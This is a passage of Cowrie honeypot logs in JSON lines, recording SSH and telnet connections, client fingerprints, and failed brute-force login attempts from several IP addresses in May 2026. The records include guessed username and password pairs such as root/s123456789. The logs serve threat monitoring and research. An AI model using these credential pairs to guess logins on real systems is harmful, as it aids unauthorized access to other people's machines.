16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:53:54.330457Z","src_ip":"2.57.122.238","session":"d78a77f6ae2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol123","message":"login attempt [sol/sol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:53:54.633569Z","src_ip":"2.57.122.238","session":"d78a77f6ae2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:53:55.737367Z","src_ip":"2.57.122.238","session":"d78a77f6ae2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":43672,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a612921d946","protocol":"telnet","message":"New connection: 50.6.8.71:43672 (10.17.0.5:23) [session: 9a612921d946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:53:59.085780Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":56740,"dst_ip":"159.203.135.109","dst_port":22,"session":"f53038a18566","protocol":"ssh","message":"New connection: 80.94.92.184:56740 (159.203.135.109:22) [session: f53038a18566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:54:03.205200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:54:03.225658Z","src_ip":"80.94.92.184","session":"f53038a18566","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:54:03.363059Z","src_ip":"80.94.92.184","session":"f53038a18566","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:54:04.088304Z","src_ip":"80.94.92.184","session":"f53038a18566","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:54:05.335374Z","src_ip":"80.94.92.184","session":"f53038a18566","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.222.148.25","src_port":42766,"dst_ip":"10.17.0.5","dst_port":23,"session":"e05665784424","protocol":"telnet","message":"New connection: 67.222.148.25:42766 (10.17.0.5:23) [session: e05665784424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:54:28.070557Z"}
{"eventid":"cowrie.session.closed","duration":31.593970775604248,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:54:30.679615Z","src_ip":"50.6.8.71","session":"9a612921d946","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47214,"dst_ip":"10.17.0.5","dst_port":23,"session":"950251bf3499","protocol":"telnet","message":"New connection: 50.6.8.71:47214 (10.17.0.5:23) [session: 950251bf3499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:54:51.244483Z"}
{"eventid":"cowrie.session.connect","src_ip":"153.136.78.124","src_port":55159,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf6a26add9d8","protocol":"telnet","message":"New connection: 153.136.78.124:55159 (10.17.0.5:23) [session: bf6a26add9d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:54:58.176447Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":35928,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc40f72f2d9e","protocol":"telnet","message":"New connection: 23.94.28.189:35928 (10.17.0.5:23) [session: dc40f72f2d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:55:11.057260Z"}
{"eventid":"cowrie.session.closed","duration":35.48088455200195,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:55:26.725274Z","src_ip":"50.6.8.71","session":"950251bf3499","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":57610,"dst_ip":"159.203.135.109","dst_port":22,"session":"1af2ee64bd6c","protocol":"ssh","message":"New connection: 103.82.132.16:57610 (159.203.135.109:22) [session: 1af2ee64bd6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:55:33.835214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:55:33.839739Z","src_ip":"103.82.132.16","session":"1af2ee64bd6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49402,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcfe7b080daa","protocol":"telnet","message":"New connection: 50.6.8.71:49402 (10.17.0.5:23) [session: bcfe7b080daa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:55:33.974056Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:55:34.099759Z","src_ip":"103.82.132.16","session":"1af2ee64bd6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"s123456789","message":"login attempt [root/s123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:55:34.880493Z","src_ip":"103.82.132.16","session":"1af2ee64bd6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:55:36.145672Z","src_ip":"103.82.132.16","session":"1af2ee64bd6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.14432716369629,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:55:48.201458Z","src_ip":"23.94.28.189","session":"dc40f72f2d9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.34278154373169,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:56:05.316685Z","src_ip":"50.6.8.71","session":"bcfe7b080daa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":33146,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac29dde3be8e","protocol":"ssh","message":"New connection: 2.57.122.238:33146 (10.17.0.5:22) [session: ac29dde3be8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:56:06.240364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:56:06.244461Z","src_ip":"2.57.122.238","session":"ac29dde3be8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:56:06.344342Z","src_ip":"2.57.122.238","session":"ac29dde3be8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:56:06.641905Z","src_ip":"2.57.122.238","session":"ac29dde3be8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:56:07.744284Z","src_ip":"2.57.122.238","session":"ac29dde3be8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":2380,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca798ef1e3a9","protocol":"ssh","message":"New connection: 38.93.206.2:2380 (10.17.0.5:22) [session: ca798ef1e3a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:56:27.231801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:56:27.235832Z","src_ip":"38.93.206.2","session":"ca798ef1e3a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:56:27.286294Z","src_ip":"38.93.206.2","session":"ca798ef1e3a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":56076,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca09077ffa11","protocol":"ssh","message":"New connection: 103.77.175.15:56076 (159.203.135.109:22) [session: ca09077ffa11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:56:27.295198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:56:27.299533Z","src_ip":"103.77.175.15","session":"ca09077ffa11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789!!","message":"login attempt [root/123456789!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:56:27.443264Z","src_ip":"38.93.206.2","session":"ca798ef1e3a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:56:27.553981Z","src_ip":"103.77.175.15","session":"ca09077ffa11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00121474266052,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:56:28.071658Z","src_ip":"67.222.148.25","session":"e05665784424","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwedsa","message":"login attempt [root/qwedsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:56:28.387614Z","src_ip":"103.77.175.15","session":"ca09077ffa11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:56:28.495737Z","src_ip":"38.93.206.2","session":"ca798ef1e3a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:56:29.644674Z","src_ip":"103.77.175.15","session":"ca09077ffa11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":33590,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec3e51aa7f0e","protocol":"ssh","message":"New connection: 62.133.62.83:33590 (10.17.0.5:22) [session: ec3e51aa7f0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:56:29.750571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:56:29.755229Z","src_ip":"62.133.62.83","session":"ec3e51aa7f0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:56:29.841693Z","src_ip":"62.133.62.83","session":"ec3e51aa7f0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:56:30.092815Z","src_ip":"62.133.62.83","session":"ec3e51aa7f0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:56:31.178602Z","src_ip":"62.133.62.83","session":"ec3e51aa7f0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":55430,"dst_ip":"10.17.0.5","dst_port":22,"session":"a906019e8fe6","protocol":"ssh","message":"New connection: 193.228.128.84:55430 (10.17.0.5:22) [session: a906019e8fe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:56:46.101964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:56:46.106263Z","src_ip":"193.228.128.84","session":"a906019e8fe6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:56:46.208701Z","src_ip":"193.228.128.84","session":"a906019e8fe6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4321rewq","message":"login attempt [root/4321rewq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:56:46.566985Z","src_ip":"193.228.128.84","session":"a906019e8fe6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:56:47.672414Z","src_ip":"193.228.128.84","session":"a906019e8fe6","protocol":"ssh"}
